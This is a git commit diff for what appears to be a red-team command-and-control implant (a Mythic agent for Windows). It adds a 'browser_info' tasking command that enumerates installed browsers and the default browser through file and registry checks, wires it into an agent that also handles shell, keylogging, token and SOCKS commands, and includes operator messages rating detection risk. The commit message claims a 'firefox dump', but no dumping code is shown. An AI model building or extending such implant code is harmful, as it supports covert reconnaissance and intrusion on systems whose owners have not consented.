firefox dump working

This commit is contained in:
marcos.luna
2025-12-02 11:58:59 +01:00
parent c8fff22a64
commit f57850f243
15 changed files with 737 additions and 4 deletions
@@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc
# Base flags
CFLAGS = -Wall -w -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -mwindows
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -mwindows
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion
# Debug parameters (can be overridden from command line)
# DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4
@@ -0,0 +1,435 @@
#undef UNICODE
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <stdio.h>
#include "browser_info.h"
#include "paquete.h"
#include "analizador.h"
#include "debug.h"
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "version.lib")
// Maximum path length
#define MAX_PATH_LEN 512
/**
* @brief Check if a file exists at the given path
*/
BOOL FileExists(LPCSTR path) {
DWORD dwAttrib = GetFileAttributesA(path);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/**
* @brief Get file version information from an executable
*/
BOOL GetFileVersion(LPCSTR filePath, char* version, SIZE_T versionSize) {
DWORD dwHandle = 0;
DWORD dwSize = GetFileVersionInfoSizeA(filePath, &dwHandle);
if (dwSize == 0) {
return FALSE;
}
PBYTE pVersionInfo = (PBYTE)LocalAlloc(LPTR, dwSize);
if (!pVersionInfo) {
return FALSE;
}
if (!GetFileVersionInfoA(filePath, dwHandle, dwSize, pVersionInfo)) {
LocalFree(pVersionInfo);
return FALSE;
}
VS_FIXEDFILEINFO* pFileInfo = NULL;
UINT uLen = 0;
if (VerQueryValueA(pVersionInfo, "\\", (LPVOID*)&pFileInfo, &uLen)) {
DWORD dwFileVersionMS = pFileInfo->dwFileVersionMS;
DWORD dwFileVersionLS = pFileInfo->dwFileVersionLS;
DWORD major = HIWORD(dwFileVersionMS);
DWORD minor = LOWORD(dwFileVersionMS);
DWORD build = HIWORD(dwFileVersionLS);
DWORD revision = LOWORD(dwFileVersionLS);
snprintf(version, versionSize, "%lu.%lu.%lu.%lu",
major, minor, build, revision);
LocalFree(pVersionInfo);
return TRUE;
}
LocalFree(pVersionInfo);
return FALSE;
}
/**
* @brief Check for Chrome installation
*/
BOOL CheckChrome(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Chrome installation paths
const char* chromePaths[] = {
"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"%LOCALAPPDATA%\\Google\\Chrome\\Application\\chrome.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; chromePaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(chromePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
// Try direct path if expansion fails
if (FileExists(chromePaths[i])) {
strncpy_s(path, pathSize, chromePaths[i], _TRUNCATE);
GetFileVersion(chromePaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Edge installation
*/
BOOL CheckEdge(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Edge installation paths
const char* edgePaths[] = {
"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"%LOCALAPPDATA%\\Microsoft\\Edge\\Application\\msedge.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; edgePaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(edgePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(edgePaths[i])) {
strncpy_s(path, pathSize, edgePaths[i], _TRUNCATE);
GetFileVersion(edgePaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Firefox installation
*/
BOOL CheckFirefox(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Firefox installation paths
const char* firefoxPaths[] = {
"C:\\Program Files\\Mozilla Firefox\\firefox.exe",
"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
"%APPDATA%\\Mozilla\\Firefox\\firefox.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; firefoxPaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(firefoxPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(firefoxPaths[i])) {
strncpy_s(path, pathSize, firefoxPaths[i], _TRUNCATE);
GetFileVersion(firefoxPaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Opera installation
*/
BOOL CheckOpera(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Opera installation paths
const char* operaPaths[] = {
"C:\\Program Files\\Opera\\opera.exe",
"C:\\Program Files (x86)\\Opera\\opera.exe",
"%LOCALAPPDATA%\\Programs\\Opera\\opera.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; operaPaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(operaPaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(operaPaths[i])) {
strncpy_s(path, pathSize, operaPaths[i], _TRUNCATE);
GetFileVersion(operaPaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Check for Brave installation
*/
BOOL CheckBrave(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) {
// Common Brave installation paths
const char* bravePaths[] = {
"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
"C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
"%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe",
NULL
};
char expandedPath[MAX_PATH_LEN] = {0};
for (int i = 0; bravePaths[i] != NULL; i++) {
if (ExpandEnvironmentStringsA(bravePaths[i], expandedPath, MAX_PATH_LEN) > 0) {
if (FileExists(expandedPath)) {
strncpy_s(path, pathSize, expandedPath, _TRUNCATE);
GetFileVersion(expandedPath, version, versionSize);
return TRUE;
}
} else {
if (FileExists(bravePaths[i])) {
strncpy_s(path, pathSize, bravePaths[i], _TRUNCATE);
GetFileVersion(bravePaths[i], version, versionSize);
return TRUE;
}
}
}
return FALSE;
}
/**
* @brief Get default browser from registry
*/
BOOL GetDefaultBrowser(char* browserName, SIZE_T nameSize, char* browserPath, SIZE_T pathSize) {
HKEY hKey = NULL;
char progId[256] = {0};
DWORD progIdSize = sizeof(progId);
char httpProgId[256] = {0};
DWORD httpProgIdSize = sizeof(httpProgId);
// Try to get default browser from HTTP protocol association
if (RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
if (RegQueryValueExA(hKey, "ProgId", NULL, NULL, (LPBYTE)httpProgId, &httpProgIdSize) == ERROR_SUCCESS) {
RegCloseKey(hKey);
// Map ProgId to browser name
if (strstr(httpProgId, "ChromeHTML") != NULL) {
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
CheckChrome(browserPath, pathSize, NULL, 0);
return TRUE;
} else if (strstr(httpProgId, "MSEdgeHTM") != NULL || strstr(httpProgId, "AppX") != NULL) {
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
CheckEdge(browserPath, pathSize, NULL, 0);
return TRUE;
} else if (strstr(httpProgId, "FirefoxURL") != NULL) {
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
CheckFirefox(browserPath, pathSize, NULL, 0);
return TRUE;
} else if (strstr(httpProgId, "OperaStable") != NULL) {
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
CheckOpera(browserPath, pathSize, NULL, 0);
return TRUE;
} else {
strncpy_s(browserName, nameSize, httpProgId, _TRUNCATE);
return TRUE;
}
}
RegCloseKey(hKey);
}
// Fallback: try to get from HKEY_CLASSES_ROOT\http\shell\open\command
if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "http\\shell\\open\\command", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
char command[MAX_PATH_LEN] = {0};
DWORD commandSize = sizeof(command);
if (RegQueryValueExA(hKey, NULL, NULL, NULL, (LPBYTE)command, &commandSize) == ERROR_SUCCESS) {
RegCloseKey(hKey);
// Extract executable path (remove quotes and parameters)
char* exePath = command;
if (command[0] == '"') {
exePath = command + 1;
char* endQuote = strchr(exePath, '"');
if (endQuote) {
*endQuote = '\0';
}
} else {
// Find first space (end of path)
char* space = strchr(exePath, ' ');
if (space) {
*space = '\0';
}
}
if (FileExists(exePath)) {
strncpy_s(browserPath, pathSize, exePath, _TRUNCATE);
// Try to identify browser from path
if (strstr(exePath, "chrome.exe") != NULL) {
strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE);
} else if (strstr(exePath, "msedge.exe") != NULL) {
strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE);
} else if (strstr(exePath, "firefox.exe") != NULL) {
strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE);
} else if (strstr(exePath, "opera.exe") != NULL) {
strncpy_s(browserName, nameSize, "Opera", _TRUNCATE);
} else if (strstr(exePath, "brave.exe") != NULL) {
strncpy_s(browserName, nameSize, "Brave", _TRUNCATE);
} else {
// Extract filename
char* filename = strrchr(exePath, '\\');
if (filename) {
filename++;
} else {
filename = exePath;
}
strncpy_s(browserName, nameSize, filename, _TRUNCATE);
}
return TRUE;
}
} else {
RegCloseKey(hKey);
}
}
return FALSE;
}
/**
* @brief Identify installed browsers and default browser
* Lists all detected browsers and identifies the system default browser
*/
VOID IdentificarNavegadores(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, tareaUuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "=== Installed Browsers ===\n\n");
int browserCount = 0;
char path[MAX_PATH_LEN] = {0};
char version[64] = {0};
// Check Chrome
if (CheckChrome(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Google Chrome\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Edge
if (CheckEdge(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Microsoft Edge\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Firefox
if (CheckFirefox(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Mozilla Firefox\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Opera
if (CheckOpera(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Opera\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
// Check Brave
if (CheckBrave(path, sizeof(path), version, sizeof(version))) {
PackageAddFormatPrintf(salida, FALSE, "[%d] Brave\n", ++browserCount);
PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path);
if (strlen(version) > 0) {
PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version);
}
PackageAddFormatPrintf(salida, FALSE, "\n");
}
if (browserCount == 0) {
PackageAddFormatPrintf(salida, FALSE, "No browsers detected.\n\n");
}
// Get default browser
PackageAddFormatPrintf(salida, FALSE, "=== Default Browser ===\n\n");
char defaultBrowser[256] = {0};
char defaultPath[MAX_PATH_LEN] = {0};
if (GetDefaultBrowser(defaultBrowser, sizeof(defaultBrowser),
defaultPath, sizeof(defaultPath))) {
PackageAddFormatPrintf(salida, FALSE, "Name: %s\n", defaultBrowser);
if (strlen(defaultPath) > 0) {
PackageAddFormatPrintf(salida, FALSE, "Path: %s\n", defaultPath);
}
} else {
PackageAddFormatPrintf(salida, FALSE, "Could not determine default browser.\n");
}
// Add output first
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Add artifacts for registry reads (after output)
addArtifact(respuesta, "Registry Read", "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice");
addArtifact(respuesta, "Registry Read", "HKEY_CLASSES_ROOT\\http\\shell\\open\\command");
mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
}
@@ -0,0 +1,16 @@
#pragma once
#ifndef BROWSER_INFO_H
#define BROWSER_INFO_H
#include "analizador.h"
#include "paquete.h"
// Browser information command code (must match translator)
#define BROWSER_INFO_CMD 0x40
// Forward declarations
VOID IdentificarNavegadores(PAnalizador argumentos);
#endif
@@ -175,6 +175,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
MatarProceso(analizadorTarea);
_inf("===== KILL_CMD COMPLETED =====");
} else if (tarea == BROWSER_INFO_CMD) {
_inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea);
IdentificarNavegadores(analizadorTarea);
_inf("===== BROWSER_INFO_CMD COMPLETED =====");
} else {
_wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
@@ -14,6 +14,7 @@
#include "keylog.h"
#include "tokens.h"
#include "rpfwd_manager.h"
#include "browser_info.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
@@ -55,6 +56,9 @@
#define WHOAMI_CMD 0x36
#define KILL_CMD 0x37
/* Browser information command */
#define BROWSER_INFO_CMD 0x40
/* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5
/* Extension marker to carry RPFWD array in binary messages */
@@ -0,0 +1,95 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class BrowserInfoArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise ValueError("browser_info no debe lanzarse con parámetros")
class BrowserInfoCommand(CommandBase):
cmd = "browser_info"
needs_admin = False
help_cmd = "browser_info"
description = "Identify installed web browsers and the default browser on the target system. Lists all detected browsers (Chrome, Edge, Firefox, Opera, Brave, etc.) with their installation paths and version information. Also identifies the system's default browser. This command is read-only and does not modify system state."
version = 1
author = "Kaseya OFSTeam"
attackmapping = ["T1082", "T1518"]
argument_class = BrowserInfoArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
This is a read-only information gathering command with low detection risk.
"""
message = "️ OPSEC INFO - Browser Information Gathering\n\n"
message += "This command will:\n"
message += " • Read registry keys (HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE)\n"
message += " • Check file system for browser installation paths\n"
message += " • Query default browser associations\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • Registry reads are generally low-risk\n"
message += " • File system enumeration may be logged (if auditing enabled)\n"
message += " • No process creation or network activity\n\n"
message += "✅ LOW DETECTION PROBABILITY - Read-only operation.\n"
message += "This command does not modify system state or create suspicious artifacts."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "️ OPSEC POST-CHECK - Browser Information Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Registry Read: Browser registry keys accessed\n"
message += " • File Read: Browser installation paths checked\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • Registry read events (if auditing enabled)\n"
message += " • File system access logs (if auditing enabled)\n\n"
message += "⚠️ LOW DETECTION PROBABILITY:\n"
message += " • Read-only operations are rarely flagged\n"
message += " • No process creation or network activity\n"
message += " • No file modifications\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "This command is safe for information gathering."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
The response contains browser information in a structured format.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -28,6 +28,8 @@ commands = {
"rev2self": {"hex_code": 0x35, "input_type": None},
"whoami": {"hex_code": 0x36, "input_type": None},
"kill": {"hex_code": 0x37, "input_type": "string"},
# Browser information command
"browser_info": {"hex_code": 0x40, "input_type": None},
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},